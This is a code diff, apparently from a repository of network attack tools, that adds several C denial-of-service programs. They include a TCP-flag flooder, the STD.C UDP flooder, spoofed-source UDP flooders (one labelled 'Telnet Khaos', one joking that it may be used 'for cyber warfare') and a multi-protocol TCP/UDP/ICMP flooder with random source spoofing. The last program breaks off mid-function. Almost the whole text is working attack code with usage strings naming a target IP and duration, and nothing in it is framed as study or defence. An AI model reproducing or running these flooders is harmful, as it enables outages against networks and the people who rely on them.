fprintf(stdout, "Usage: %s <target IP> <port> <threads> <pps limiter, -1 for no limit> <time> <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stdout, "Setting up Sockets...\n");
|
||||
|
||||
int num_threads = atoi(argv[3]);
|
||||
floodport = atoi(argv[2]);
|
||||
int maxpps = atoi(argv[4]);
|
||||
limiter = 0;
|
||||
pps = 0;
|
||||
pthread_t thread[num_threads];
|
||||
//TCP FLAGS
|
||||
if(strstr(argv[6], "ack"))
|
||||
ack = 1;
|
||||
else
|
||||
ack = 0;
|
||||
|
||||
if(strstr(argv[6], "seq"))
|
||||
seq = 1;
|
||||
else
|
||||
seq = 0;
|
||||
|
||||
if(strstr(argv[6], "psh"))
|
||||
psh = 1;
|
||||
else
|
||||
psh = 0;
|
||||
|
||||
if(strstr(argv[6], "fin"))
|
||||
fin = 1;
|
||||
else
|
||||
fin = 0;
|
||||
|
||||
if(strstr(argv[6], "rst"))
|
||||
rst = 1;
|
||||
else
|
||||
rst = 0;
|
||||
|
||||
if(strstr(argv[6], "res2"))
|
||||
res2 = 1;
|
||||
else
|
||||
res2 = 0;
|
||||
|
||||
if(strstr(argv[6], "syn"))
|
||||
syn = 1;
|
||||
else
|
||||
syn = 0;
|
||||
|
||||
if(strstr(argv[6], "urg"))
|
||||
urg = 1;
|
||||
else
|
||||
urg = 0;
|
||||
|
||||
if(strstr(argv[6], "ptr"))
|
||||
ptr = 1;
|
||||
else
|
||||
ptr = 0;
|
||||
|
||||
//FLAGS END
|
||||
int multiplier = 20;
|
||||
|
||||
int i;
|
||||
for(i = 0;i<num_threads;i++){
|
||||
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
|
||||
}
|
||||
fprintf(stdout, "Starting Flood...\n");
|
||||
fprintf(stdout, "Code by Anonn\n");
|
||||
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
|
||||
{
|
||||
usleep((1000/multiplier)*1000);
|
||||
if((pps*multiplier) > maxpps)
|
||||
{
|
||||
if(1 > limiter)
|
||||
{
|
||||
sleeptime+=100;
|
||||
} else {
|
||||
limiter--;
|
||||
}
|
||||
} else {
|
||||
limiter++;
|
||||
if(sleeptime > 25)
|
||||
{
|
||||
sleeptime-=25;
|
||||
} else {
|
||||
sleeptime = 0;
|
||||
}
|
||||
}
|
||||
pps = 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
/* STD.C By stackd - (root@stackd.net) Define strings to what you feel fit */
|
||||
|
||||
#define STD2_STRING "std"
|
||||
#define STD2_SIZE 50
|
||||
|
||||
#include <stdio.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netdb.h>
|
||||
#include <stdarg.h>
|
||||
|
||||
int echo_connect(char *, short);
|
||||
|
||||
int echo_connect(char *server, short port)
|
||||
{
|
||||
struct sockaddr_in sin;
|
||||
struct hostent *hp;
|
||||
int thesock;
|
||||
hp = gethostbyname(server);
|
||||
if (hp==NULL) {
|
||||
printf("Unknown host: %s\n",server);
|
||||
exit(0);
|
||||
}
|
||||
printf(" STD.C -- Packeting %s:%d\n ", server, port);
|
||||
bzero((char*) &sin,sizeof(sin));
|
||||
bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
|
||||
sin.sin_family = hp->h_addrtype;
|
||||
sin.sin_port = htons(port);
|
||||
thesock = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
|
||||
return thesock;
|
||||
}
|
||||
|
||||
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
int s;
|
||||
if(argc != 3)
|
||||
{
|
||||
fprintf(stderr, "[STD2.C BY STACKD] Syntax: %s host port\n",argv[0]);
|
||||
exit(0);
|
||||
}
|
||||
s=echo_connect(argv[1], atoi(argv[2]));
|
||||
for(;;)
|
||||
{
|
||||
send(s, STD2_STRING, STD2_SIZE, 0);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,184 @@
|
||||
/*
|
||||
This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
|
||||
*/
|
||||
#include <time.h>
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/udp.h>
|
||||
#define MAX_PACKET_SIZE 4096
|
||||
#define PHI 0x9e3779b9
|
||||
static uint32_t Q[4096], c = 362436;
|
||||
struct thread_data{
|
||||
int throttle;
|
||||
int thread_id;
|
||||
struct sockaddr_in sin;
|
||||
};
|
||||
void init_rand(uint32_t x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
|
||||
for (i = 3; i < 4096; i++)
|
||||
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
|
||||
}
|
||||
uint32_t rand_cmwc(void)
|
||||
{
|
||||
uint64_t t, a = 18782LL;
|
||||
static uint32_t i = 4095;
|
||||
uint32_t x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
char *myStrCat (char *s, char *a) {
|
||||
while (*s != '\0') s++;
|
||||
while (*a != '\0') *s++ = *a++;
|
||||
*s = '\0';
|
||||
return s;
|
||||
}
|
||||
char *replStr (char *str, size_t count) {
|
||||
if (count == 0) return NULL;
|
||||
char *ret = malloc (strlen (str) * count + count);
|
||||
if (ret == NULL) return NULL;
|
||||
*ret = '\0';
|
||||
char *tmp = myStrCat (ret, str);
|
||||
while (--count > 0) {
|
||||
tmp = myStrCat (tmp, str);
|
||||
}
|
||||
return ret;
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int nwords)
|
||||
{
|
||||
unsigned long sum;
|
||||
for (sum = 0; nwords > 0; nwords--)
|
||||
sum += *buf++;
|
||||
sum = (sum >> 16) + (sum & 0xffff);
|
||||
sum += (sum >> 16);
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + 1028;
|
||||
iph->id = htonl(54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = IPPROTO_UDP;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr("192.168.3.100");
|
||||
}
|
||||
void setup_udp_header(struct udphdr *udph)
|
||||
{
|
||||
udph->source = htons(5678);
|
||||
udph->check = 0;
|
||||
char *data = (char *)udph + sizeof(struct udphdr);
|
||||
data = replStr("\xFF" "\xFF" "\xFF" "\xFF", 256);
|
||||
udph->len=htons(1028);
|
||||
}
|
||||
void *flood(void *par1)
|
||||
{
|
||||
struct thread_data *td = (struct thread_data *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
|
||||
struct sockaddr_in sin = td->sin;
|
||||
char new_ip[sizeof "255.255.255.255"];
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, "Could not open raw socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_udp_header(udph);
|
||||
udph->dest = htons (rand() % 20480);
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
||||
exit(-1);
|
||||
}
|
||||
int throttle = td->throttle;
|
||||
uint32_t random_num;
|
||||
uint32_t ul_dst;
|
||||
init_rand(time(NULL));
|
||||
if(throttle == 0){
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
random_num = rand_cmwc();
|
||||
ul_dst = (random_num >> 24 & 0xFF) << 24 |
|
||||
(random_num >> 16 & 0xFF) << 16 |
|
||||
(random_num >> 8 & 0xFF) << 8 |
|
||||
(random_num & 0xFF);
|
||||
|
||||
iph->saddr = ul_dst;
|
||||
udph->source = htons(random_num & 0xFFFF);
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
|
||||
}
|
||||
} else {
|
||||
while(1){
|
||||
throttle = td->throttle;
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
random_num = rand_cmwc();
|
||||
ul_dst = (random_num >> 24 & 0xFF) << 24 |
|
||||
(random_num >> 16 & 0xFF) << 16 |
|
||||
(random_num >> 8 & 0xFF) << 8 |
|
||||
(random_num & 0xFF);
|
||||
|
||||
iph->saddr = ul_dst;
|
||||
udph->source = htons(random_num & 0xFFFF);
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
|
||||
while(--throttle);
|
||||
}
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 4){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Usage: %s <IP> <throttle> <threads> <time>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
fprintf(stdout, "Setting up Sockets...\n");
|
||||
int num_threads = atoi(argv[3]);
|
||||
pthread_t thread[num_threads];
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons (rand() % 20480);
|
||||
sin.sin_addr.s_addr = inet_addr(argv[1]);
|
||||
struct thread_data td[num_threads];
|
||||
int i;
|
||||
for(i = 0;i<num_threads;i++){
|
||||
td[i].thread_id = i;
|
||||
td[i].sin = sin;
|
||||
td[i].throttle = atoi(argv[2]);
|
||||
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
|
||||
}
|
||||
fprintf(stdout, "Starting Flood...\n");
|
||||
if(argc > 5)
|
||||
{
|
||||
sleep(atoi(argv[4]));
|
||||
} else {
|
||||
while(1){
|
||||
sleep(1);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,172 @@
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/udp.h>
|
||||
|
||||
#define MAX_PACKET_SIZE 4096
|
||||
#define PHI 0x9e3779b9
|
||||
|
||||
static unsigned long int Q[4096], c = 362436;
|
||||
static unsigned int floodport;
|
||||
volatile int limiter;
|
||||
volatile unsigned int pps;
|
||||
volatile unsigned int sleeptime = 100;
|
||||
|
||||
void init_rand(unsigned long int x)
|
||||
{
|
||||
int i;
|
||||
Q[0] = x;
|
||||
Q[1] = x + PHI;
|
||||
Q[2] = x + PHI + PHI;
|
||||
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
|
||||
}
|
||||
unsigned long int rand_cmwc(void)
|
||||
{
|
||||
unsigned long long int t, a = 18782LL;
|
||||
static unsigned long int i = 4095;
|
||||
unsigned long int x, r = 0xfffffffe;
|
||||
i = (i + 1) & 4095;
|
||||
t = a * Q[i] + c;
|
||||
c = (t >> 32);
|
||||
x = t + c;
|
||||
if (x < c) {
|
||||
x++;
|
||||
c++;
|
||||
}
|
||||
return (Q[i] = r - x);
|
||||
}
|
||||
unsigned short csum (unsigned short *buf, int count)
|
||||
{
|
||||
register unsigned long sum = 0;
|
||||
while( count > 1 ) { sum += *buf++; count -= 2; }
|
||||
if(count > 0) { sum += *(unsigned char *)buf; }
|
||||
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
|
||||
return (unsigned short)(~sum);
|
||||
}
|
||||
|
||||
void setup_ip_header(struct iphdr *iph)
|
||||
{
|
||||
iph->ihl = 5;
|
||||
iph->version = 4;
|
||||
iph->tos = 0;
|
||||
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 33;
|
||||
iph->id = htonl(54321);
|
||||
iph->frag_off = 0;
|
||||
iph->ttl = MAXTTL;
|
||||
iph->protocol = IPPROTO_UDP;
|
||||
iph->check = 0;
|
||||
iph->saddr = inet_addr("192.168.3.100");
|
||||
}
|
||||
|
||||
void setup_udp_header(struct udphdr *udph)
|
||||
{
|
||||
udph->source = htons(27015);
|
||||
udph->dest = htons(27015);
|
||||
udph->check = 0;
|
||||
void *data = (void *)udph + sizeof(struct udphdr);
|
||||
memset(data, 0xFF, 4);
|
||||
strcpy(data+4, "\xff\xfb\x25\xff\xfd\x26\xff\xfb\x26\xff\xfd\x03\xff\xfb\x18\xff\xfb\x1f\xff\xfb\x20\xff\xfb\x21\xff\xfb\x22\xff\xfb\x27\xff\xfd\x05");
|
||||
udph->len=htons(sizeof(struct udphdr) + 33);
|
||||
}
|
||||
|
||||
void *flood(void *par1)
|
||||
{
|
||||
char *td = (char *)par1;
|
||||
char datagram[MAX_PACKET_SIZE];
|
||||
struct iphdr *iph = (struct iphdr *)datagram;
|
||||
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
|
||||
|
||||
struct sockaddr_in sin;
|
||||
sin.sin_family = AF_INET;
|
||||
sin.sin_port = htons(17015);
|
||||
sin.sin_addr.s_addr = inet_addr(td);
|
||||
|
||||
int s = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
|
||||
if(s < 0){
|
||||
fprintf(stderr, "Could not open raw socket.\n");
|
||||
exit(-1);
|
||||
}
|
||||
memset(datagram, 0, MAX_PACKET_SIZE);
|
||||
setup_ip_header(iph);
|
||||
setup_udp_header(udph);
|
||||
|
||||
iph->daddr = sin.sin_addr.s_addr;
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
|
||||
int tmp = 1;
|
||||
const int *val = &tmp;
|
||||
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
|
||||
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
init_rand(time(NULL));
|
||||
register unsigned int i;
|
||||
i = 0;
|
||||
while(1){
|
||||
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
|
||||
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
|
||||
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
|
||||
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
|
||||
|
||||
pps++;
|
||||
if(i >= limiter)
|
||||
{
|
||||
i = 0;
|
||||
usleep(sleeptime);
|
||||
}
|
||||
i++;
|
||||
}
|
||||
}
|
||||
int main(int argc, char *argv[ ])
|
||||
{
|
||||
if(argc < 5){
|
||||
fprintf(stderr, "Invalid parameters!\n");
|
||||
fprintf(stdout, "Telnet Khaos\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
fprintf(stdout, "Setting up Sockets...\n");
|
||||
|
||||
int num_threads = atoi(argv[2]);
|
||||
int maxpps = atoi(argv[3]);
|
||||
limiter = 0;
|
||||
pps = 0;
|
||||
pthread_t thread[num_threads];
|
||||
|
||||
int multiplier = 20;
|
||||
|
||||
int i;
|
||||
for(i = 0;i<num_threads;i++){
|
||||
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
|
||||
}
|
||||
fprintf(stdout, "Starting Flood...\n");
|
||||
for(i = 0;i<(atoi(argv[4])*multiplier);i++)
|
||||
{
|
||||
usleep((1000/multiplier)*1000);
|
||||
if((pps*multiplier) > maxpps)
|
||||
{
|
||||
if(1 > limiter)
|
||||
{
|
||||
sleeptime+=100;
|
||||
} else {
|
||||
limiter--;
|
||||
}
|
||||
} else {
|
||||
limiter++;
|
||||
if(sleeptime > 25)
|
||||
{
|
||||
sleeptime-=25;
|
||||
} else {
|
||||
sleeptime = 0;
|
||||
}
|
||||
}
|
||||
pps = 0;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,379 @@
|
||||
/*
|
||||
* This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <netdb.h>
|
||||
#include <sys/types.h>
|
||||
#ifdef F_PASS
|
||||
#include <sys/stat.h>
|
||||
#endif
|
||||
#include <netinet/in_systm.h>
|
||||
#include <sys/socket.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <signal.h>
|
||||
#ifndef __USE_BSD
|
||||
# define __USE_BSD
|
||||
#endif
|
||||
#ifndef __FAVOR_BSD
|
||||
# define __FAVOR_BSD
|
||||
#endif
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/udp.h>
|
||||
#include <netinet/ip_icmp.h>
|
||||
#include <arpa/inet.h>
|
||||
#ifdef LINUX
|
||||
# define FIX(x) htons(x)
|
||||
#else
|
||||
# define FIX(x) (x)
|
||||
#endif
|
||||
#define TCP_ACK 1
|
||||
#define TCP_FIN 2
|
||||
#define TCP_SYN 4
|
||||
#define TCP_RST 8
|
||||
#define UDP_CFF 16
|
||||
#define ICMP_ECHO_G 32
|
||||
#define TCP_NOF 64
|
||||
#define TCP_URG 128
|
||||
#define TCP_PSH 258
|
||||
#define TCP_ECE 512
|
||||
#define TCP_CWR 1024
|
||||
|
||||
#define TH_NOF 0x0
|
||||
#define TH_ECE 0x40
|
||||
#define TH_CWR 0x80
|
||||
#define TCP_ATTACK() (a_flags & TCP_ACK ||\
|
||||
a_flags & TCP_FIN ||\
|
||||
a_flags & TCP_SYN ||\
|
||||
a_flags & TCP_RST ||\
|
||||
a_flags & TCP_NOF ||\
|
||||
a_flags & TCP_PSH ||\
|
||||
a_flags & TCP_ECE ||\
|
||||
a_flags & TCP_CWR ||\
|
||||
a_flags & TCP_URG )
|
||||
#define UDP_ATTACK() (a_flags & UDP_CFF)
|
||||
#define ICMP_ATTACK() (a_flags & ICMP_ECHO_G)
|
||||
#define CHOOSE_DST_PORT() dst_sp == 0 ?\
|
||||
random () :\
|
||||
htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
|
||||
#define CHOOSE_SRC_PORT() src_sp == 0 ?\
|
||||
random () :\
|
||||
htons(src_sp + (random() % (src_ep -src_sp +1)));
|
||||
#define SEND_PACKET() if (sendto(rawsock,\
|
||||
&packet,\
|
||||
(sizeof packet),\
|
||||
0,\
|
||||
(struct sockaddr *)&target,\
|
||||
sizeof target) < 0) {\
|
||||
perror("sendto");\
|
||||
exit(-1);\
|
||||
}
|
||||
#define BANNER_CKSUM 54018
|
||||
//#define BANNER_CKSUM 723
|
||||
u_long lookup(const char *host);
|
||||
unsigned short in_cksum(unsigned short *addr, int len);
|
||||
static void inject_iphdr(struct ip *ip, u_char p, u_char len);
|
||||
char *class2ip(const char *class);
|
||||
static void send_tcp(u_char th_flags);
|
||||
static void send_udp(u_char garbage);
|
||||
static void send_icmp(u_char garbage);
|
||||
char *get_plain(const char *crypt_file, const char *xor_data_key);
|
||||
static void usage(const char *argv0);
|
||||
u_long dstaddr;
|
||||
u_short dst_sp, dst_ep, src_sp, src_ep;
|
||||
char *src_class, *dst_class;
|
||||
int a_flags, rawsock;
|
||||
struct sockaddr_in target;
|
||||
struct pseudo_hdr {
|
||||
u_long saddr, daddr;
|
||||
u_char mbz, ptcl;
|
||||
u_short tcpl;
|
||||
};
|
||||
struct cksum {
|
||||
struct pseudo_hdr pseudo;
|
||||
struct tcphdr tcp;
|
||||
};
|
||||
struct {
|
||||
int gv;
|
||||
int kv;
|
||||
void (*f)(u_char);
|
||||
} a_list[] = {
|
||||
{ TCP_ACK, TH_ACK, send_tcp },
|
||||
{ TCP_FIN, TH_FIN, send_tcp },
|
||||
{ TCP_SYN, TH_SYN, send_tcp },
|
||||
{ TCP_RST, TH_RST, send_tcp },
|
||||
{ TCP_NOF, TH_NOF, send_tcp },
|
||||
{ TCP_URG, TH_URG, send_tcp },
|
||||
{ TCP_PSH, TH_PUSH, send_tcp },
|
||||
{ TCP_ECE, TH_ECE, send_tcp },
|
||||
{ TCP_CWR, TH_CWR, send_tcp },
|
||||
{ UDP_CFF, 0, send_udp },
|
||||
{ ICMP_ECHO_G, ICMP_ECHO, send_icmp },
|
||||
{ 0, 0, (void *)NULL },
|
||||
};
|
||||
int
|
||||
main(int argc, char *argv[])
|
||||
{
|
||||
int n, i, on = 1;
|
||||
int b_link;
|
||||
#ifdef F_PASS
|
||||
struct stat sb;
|
||||
#endif
|
||||
unsigned int until;
|
||||
a_flags = dstaddr = i = 0;
|
||||
dst_sp = dst_ep = src_sp = src_ep = 0;
|
||||
until = b_link = -1;
|
||||
src_class = dst_class = NULL;
|
||||
while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
|
||||
char *p;
|
||||
switch (n) {
|
||||
case 'T':
|
||||
switch (atoi(optarg)) {
|
||||
case 0: a_flags |= TCP_ACK; break;
|
||||
case 1: a_flags |= TCP_FIN; break;
|
||||
case 2: a_flags |= TCP_RST; break;
|
||||
case 3: a_flags |= TCP_SYN; break;
|
||||
case 4: a_flags |= TCP_URG; break;
|
||||
case 5: a_flags |= TCP_PSH; break;
|
||||
case 6: a_flags |= TCP_ECE; break;
|
||||
case 7: a_flags |= TCP_CWR; break;
|
||||
}
|
||||
break;
|
||||
case 'U':
|
||||
a_flags |= UDP_CFF;
|
||||
break;
|
||||
case 'I':
|
||||
a_flags |= ICMP_ECHO_G;
|
||||
break;
|
||||
case 'N':
|
||||
a_flags |= TCP_NOF;
|
||||
break;
|
||||
case 's':
|
||||
src_class = optarg;
|
||||
break;
|
||||
case 'h':
|
||||
dstaddr = lookup(optarg);
|
||||
break;
|
||||
case 'd':
|
||||
dst_class = optarg;
|
||||
i = 1;
|
||||
break;
|
||||
case 'p':
|
||||
if ( (p = (char *) strchr(optarg, ',')) == NULL)
|
||||
usage(argv[0]);
|
||||
dst_sp = atoi(optarg);
|
||||
dst_ep = atoi(p +1);
|
||||
break;
|
||||
case 'q':
|
||||
if ( (p = (char *) strchr(optarg, ',')) == NULL)
|
||||
usage(argv[0]);
|
||||
src_sp = atoi(optarg);
|
||||
src_ep = atoi(p +1);
|
||||
break;
|
||||
case 'l':
|
||||
b_link = atoi(optarg);
|
||||
if (b_link <= 0 || b_link > 100)
|
||||
usage(argv[0]);
|
||||
break;
|
||||
case 't':
|
||||
until = time(0) +atoi(optarg);
|
||||
break;
|
||||
default:
|
||||
usage(argv[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ( (!dstaddr && !i) ||
|
||||
(dstaddr && i) ||
|
||||
(!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
|
||||
(src_sp != 0 && src_sp > src_ep) ||
|
||||
(dst_sp != 0 && dst_sp > dst_ep))
|
||||
usage(argv[0]);
|
||||
srandom(time(NULL) ^ getpid());
|
||||
if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
|
||||
perror("socket");
|
||||
exit(-1);
|
||||
}
|
||||
if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
|
||||
(char *)&on, sizeof(on)) < 0) {
|
||||
perror("setsockopt");
|
||||
exit(-1);
|
||||
}
|
||||
target.sin_family = AF_INET;
|
||||
for (n = 0; ; ) {
|
||||
if (b_link != -1 && random() % 100 +1 > b_link) {
|
||||
if (random() % 200 +1 > 199)
|
||||
usleep(1);
|
||||
continue;
|
||||
}
|
||||
for (i = 0; a_list[i].f != NULL; ++i) {
|
||||
if (a_list[i].gv & a_flags)
|
||||
a_list[i].f(a_list[i].kv);
|
||||
}
|
||||
if (n++ == 100) {
|
||||
if (until != -1 && time(0) >= until) break;
|
||||
n = 0;
|
||||
}
|
||||
}
|
||||
exit(0);
|
||||
}
|
||||
u_long
|
||||
lookup(const char *host)
|
||||
{
|
||||
struct hostent *hp;
|
||||
|
||||
if ( (hp = gethostbyname(host)) == NULL) {
|
||||
perror("gethostbyname");
|
||||
exit(-1);
|
||||
}
|
||||
return *(u_long *)hp->h_addr;
|
||||
}
|
||||
#define RANDOM() (int) random() % 255 +1
|
||||
char *
|
||||
class2ip(const char *class)
|
||||
{
|
||||
static char ip[16];
|
||||
int i, j;
|
||||
|
||||
for (i = 0, j = 0; class[i] != '{TEXTO}'; ++i)
|
||||
if (class[i] == '.')
|
||||
++j;
|
||||
switch (j) {
|
||||
case 0:
|
||||
sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
|
||||
break;
|
||||
case 1:
|
||||
sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
|
||||
break;
|
||||
case 2:
|
||||
sprintf(ip, "%s.%d", class, RANDOM());
|
||||
break;
|
||||
default: strncpy(ip, class, 16);
|
||||
break;
|
||||
}
|
||||
return ip;
|
||||
}
|
||||
unsigned short
|
||||
in_cksum(unsigned short *addr, int len)
|
||||
{
|
||||
int nleft = len;
|
||||
int sum = 0;
|
||||
unsigned short *w = addr;
|
||||
unsigned short answer = 0;
|
||||
while (nleft > 1) {
|
||||
sum += *w++;
|
||||
nleft -= 2;
|
||||
}
|
||||
if (nleft == 1) {
|
||||
*(unsigned char *) (&answer) = *(unsigned char *)w;
|
||||
sum += answer;
|
||||
}
|
||||
sum = (sum >> 16) + (sum & 0xffff);
|
||||
sum += (sum >> 16);
|
||||
answer = ~sum;
|
||||
return answer;
|
||||
}
|
||||
static void
|
||||
inject_iphdr(struct ip *ip, u_char p, u_char len)
|
||||
{
|
||||
ip->ip_hl = 5;
|
||||
ip->ip_v = 4;
|
||||
ip->ip_p = p;
|
||||
ip->ip_tos = 0x08;
|
||||
ip->ip_id = random();
|
||||
ip->ip_len = len;
|
||||
ip->ip_off = 0;
|
||||
ip->ip_ttl = 255;
|
||||
ip->ip_dst.s_addr = dst_class != NULL ?
|
||||
inet_addr(class2ip(dst_class)) :
|
||||
dstaddr;
|
||||
ip->ip_src.s_addr = src_class != NULL ?
|
||||
inet_addr(class2ip(src_class)) :
|
||||
random();
|
||||
target.sin_addr.s_addr = ip->ip_dst.s_addr;
|
||||
}
|
||||
static void
|
||||
send_tcp(u_char th_flags)
|
||||
{
|
||||
struct cksum cksum;
|
||||
struct packet {
|
||||
struct ip ip;
|
||||
struct tcphdr tcp;
|
||||
} packet;
|
||||
memset(&packet, 0, sizeof packet);
|
||||
inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
|
||||
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
|
||||
cksum.pseudo.daddr = dstaddr;
|
||||
cksum.pseudo.mbz = 0;
|
||||
cksum.pseudo.ptcl = IPPROTO_TCP;
|
||||
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
|
||||
cksum.pseudo.saddr = packet.ip.ip_src.s_addr;
|
||||
packet.tcp.th_win = random();
|
||||
packet.tcp.th_seq = random();
|
||||
packet.tcp.th_ack = random();
|
||||
packet.tcp.th_flags = th_flags;
|
||||
packet.tcp.th_off = 5;
|
||||
packet.tcp.th_urp = 0;
|
||||
packet.tcp.th_sport = CHOOSE_SRC_PORT();
|
||||
packet.tcp.th_dport = CHOOSE_DST_PORT();
|
||||
cksum.tcp = packet.tcp;
|
||||
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum));
|
||||
SEND_PACKET();
|
||||
}
|
||||
static void
|
||||
send_udp(u_char garbage)
|
||||
{
|
||||
struct packet {
|
||||
struct ip ip;
|
||||
struct udphdr udp;
|
||||
} packet;
|
||||
memset(&packet, 0, sizeof packet);
|
||||
inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
|
||||
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
|
||||
packet.udp.uh_sport = CHOOSE_SRC_PORT();
|
||||
packet.udp.uh_dport = CHOOSE_DST_PORT();
|
||||
packet.udp.uh_ulen = htons(sizeof packet.udp);
|
||||
packet.udp.uh_sum = 0;
|
||||
SEND_PACKET();
|
||||
}
|
||||
static void
|
||||
send_icmp(u_char gargabe)
|
||||
{
|
||||
struct packet {
|
||||
struct ip ip;
|
||||
struct icmp icmp;
|
||||
} packet;
|
||||
memset(&packet, 0, sizeof packet);
|
||||
inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
|
||||
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
|
||||
packet.icmp.icmp_type = ICMP_ECHO;
|
||||
packet.icmp.icmp_code = 0;
|
||||
